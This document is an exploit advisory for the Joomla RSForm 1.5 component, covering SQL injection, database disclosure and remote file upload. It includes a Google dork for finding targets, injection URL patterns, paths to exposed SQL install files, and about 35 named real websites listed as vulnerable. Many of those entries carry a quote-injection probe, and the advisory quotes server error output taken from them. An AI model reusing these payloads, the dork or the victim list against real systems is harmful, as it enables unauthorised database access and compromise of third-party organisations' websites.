####################################################################
# Exploit Title : Joomla RSForm 1.5 Multiple Vulnerabilities
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 07/02/2019
# Vendor Homepage : rsjoomla.com
# Software Download Link : rsjoomla.com/free-downloads/download.html?path=
com_forme%2FComponent%2Fcom_formeJ15.zip
# Software Information Link : rsjoomla.com/joomla-extensions/rsform.html
# Software Version : 1.5
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Google Dorks : inurl:''/index.php?option=com_rsform''
# Vulnerability Type : CWE-89 [ Improper Neutralization of
Special Elements used in an SQL Command ('SQL Injection') ]
CWE-200 [ Information Exposure ]
CWE-264 [ Permissions, Privileges, and Access Controls ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
####################################################################
# Description about Software :
***************************
RSForm! allows you to build forms for Joomla!
####################################################################
There are 3 Different Vulnerabilities :
SQL Injection / Database Disclosure / File Upload
####################################################################
# Impact :
***********
* Joomla RSForm Components 1.5 for Joomla is prone to an
SQL-injection vulnerability because it fails to sufficiently sanitize
user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application,
access or modify data, or exploit latent vulnerabilities in the underlying database.
A remote attacker can send a specially crafted request to the vulnerable application
and execute arbitrary SQL commands in application`s database.
Further exploitation of this vulnerability may result in unauthorized data manipulation.
An attacker can exploit this issue using a browser.
* This Software prone to an information exposure/database disclosure vulnerability.
Successful exploits of this issue may allow an attacker to obtain sensitive
information by downloading the full contents of the application's database.
* Any remote user may download the database files and gain access
to sensitive information including unencrypted authentication credentials
this software has remote file upload vulnerability.
####################################################################
# SQL Injection Exploit :
**********************
/index.php?option=com_rsform&Itemid=[SQL Injection]
/index.php?option=com_rsform&view=rsform&Itemid=[SQL Injection]
/index.php?option=com_rsform&view=rsform&formId=[ID-NUMBER]&Itemid=[SQL Injection]
/index.php?option=com_rsform&formId=[ID-NUMBER]&asset=[SQL Injection]
####################################################################
# Database Disclosure Exploit :
***************************
/administrator/components/com_rsform/tmp/rsform-install.sql
/administrator/components/com_rsform/tmp/rsform-uninstall.sql
/administrator/components/com_rsform/tmp/sample-install.sql
####################################################################
# Remote File Upload/Insert File Exploit :
************************************
/index.php?option=com_rsform&formId=8&form[PositionTitle]=Admin
/index.php?option=com_rsform&formId=[THIS-ID-NUMBER-ALWAYS-CHANGES]
/index.php?option=com_rsform&formId=4
/index.php?option=com_rsform&formId=3
/index.php?option=com_rsform&view=rsform&formId=4
/index.php?option=com_rsform&view=rsform&Itemid=6
/index.php?option=com_rsform&view=rsform&Itemid=37
/index.php/en/?option=com_rsform&view=rsform&formId=3
/index.php?option=com_rsform&view=rsform&formId=5
/index.php?option=com_rsform&view=rsform&formId=6&Itemid=236
/index.php?option=com_rsform&view=rsform&formId=30
/index.php?option=com_rsform&view=rsform&formId=1&Itemid=508
/index.php?option=com_rsform&view=rsform&formId=3&Itemid=223&lang=en
/index.php?option=com_rsform&view=rsform&formId=39&Itemid=1084
/index.php?option=com_rsform&view=rsform&formId=1&Itemid=444
/index.php?option=com_rsform&view=rsform&formId=3&Itemid=178
/index.php?option=com_rsform&view=rsform&Itemid=136&lang=en
# Directory File Path :
********************
/index.php?option=com_rsform&formId=[ID-NUMBER]&tmpl=component&file=[YOUR-FILE-HERE.txt]
/index.php?option=com_rsform&view=rsform&formId=[ID-NUMBER]&submissionId=[FIND-SUBMISSION-ID]
or search your file here.
/administrator/components/com_rsform/......
####################################################################
# Example Vulnerable Sites :
*************************
[+] nzp.co.nz/index.php?option=com_rsform&formId=8&form[PositionTitle]=Admin
[+] chevrolet.com.mm/mm/corvette/index.php?option=com_rsform&view=rsform&formId=6&Itemid=236
[+] meteocomillas.com/index.php?option=com_rsform&Itemid=123%27
[+] meteocomillas.com/administrator/components/com_rsform/tmp/rsform-install.sql
[+] abusheikha.com/ds/index.php?option=com_rsform&view=rsform&formId=3&Itemid=135%27
[+] leads.mymediainc.net/index.php?option=com_rsform&formId=3&asset=1%27
[+] crisbox.co.za/index.php?option=com_rsform&view=rsform&formId=3&Itemid=130%27
[+] casanovecentofeltre.it/site/it/prezzi-prenotazioni/silvio-guarnieri
/index.php?option=com_rsform&view=rsform&formId=4&Itemid=201%27
[+] iss-fitness.dk/index.php?option=com_rsform&Itemid=81%27
[+] specialist-resources.com/index.php?option=com_rsform&view=rsform&formId=3&Itemid=115%27
[+] aliarargentina.org/index.php?option=com_rsform&Itemid=11%27
[+] inhousedesignco.com/index.php?option=com_rsform&view=rsform&formId=1&Itemid=158%27
[+] lnx.parcodelsangro.it/parcodelsangro/index.php?option=com_rsform&view=rsform&Itemid=784%27
[+] on8um.be/old_sites/gpscup/index.php?option=com_rsform&view=rsform&formId=3&Itemid=130%27
[+] jclscience.com/index.php?option=com_rsform&view=rsform&Itemid=354%27
[+] socialmediasoluciones.com/index.php?option=com_rsform&view=rsform&Itemid=274%27
[+] higienehospitalar.com.br/index.php?option=com_rsform&Itemid=153%27
[+] fourseasoninrome.altervista.org/index.php?option=com_rsform&Itemid=11%27
[+] iccareer.com/index.php?option=com_rsform&view=rsform&Itemid=124%27
[+] etonvsharrow.com/index.php?option=com_rsform&view=rsform&Itemid=41%27
[+] sandbergen.jmfserver.net/index.php?option=com_rsform&Itemid=8%27
[+] premiergraphics.co.uk/index.php?option=com_rsform&view=rsform&Itemid=6
[+] notore.com/index.php?option=com_rsform&formId=4
[+] custom-envelopes.org/index.php?option=com_rsform&view=rsform&Itemid=37
[+] fnacompressors.com/index.php/en/?option=com_rsform&view=rsform&formId=3
[+] dohertyinc.com/index.php?option=com_rsform&view=rsform&formId=34
[+] ftpierrelivestock.com/index.php?option=com_rsform&view=rsform&formId=1&Itemid=508
[+] healingtouchprogram.com/index.php?option=com_rsform&formId=3
[+] uab.edu/facilities/resources/index.php?option=com_rsform&view=rsform&formId=4
[+] oilibya.co.ke/index.php?option=com_rsform&view=rsform&formId=3&Itemid=223&lang=en
[+] bediscovered.net/index.php?option=com_rsform&view=rsform&formId=4
[+] lclibrary.ca/index.php?option=com_rsform&view=rsform&formId=39&Itemid=1084
[+] laleham.com/health/index.php?option=com_rsform&view=rsform&formId=3&Itemid=178
[+] tagoreint.com/eok/V2.0/index.php?option=com_rsform&view=rsform&formId=1&Itemid=444
[+] sme-angola.com/index.php?option=com_rsform&view=rsform&Itemid=136
####################################################################
# Example SQL Database Error :
****************************
Strict Standards: Only variables should be assigned by reference in
/home/abusheik/public_html/ds/components/com_rsform/rsform.php on line 11
Deprecated: iconv_set_encoding(): Use of iconv.internal_encoding is
deprecated in /home3/ourplanb/public_html/leads/libraries
/joomla/string/string.php on line 28
You have an error in your SQL syntax; check
the manual that corresponds to your MySQL
server version for the right syntax
to use near 'ORDER BY roundcode ASC' at line 1
Deprecated: preg_replace(): The /e modifier is deprecated, use
preg_replace_callback instead in /home3/ourplanb/public_html
/leads/libraries/joomla/filter/input.php on line 652
Strict Standards: Declaration of KCommandChain::enqueue() should be
compatible with KObjectQueue::enqueue(KObjectHandlable $object, $priority)
in /home/on8um/public_html/old_sites/gpscup/libraries/koowa/command/chain.php on line 23
Strict Standards: Declaration of KHttpUrl::set() should be compatible with
KObject::set($property, $value = NULL) in /home/on8um/public_html
/old_sites/gpscup/libraries/koowa/http/url.php on line 0
####################################################################
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
####################################################################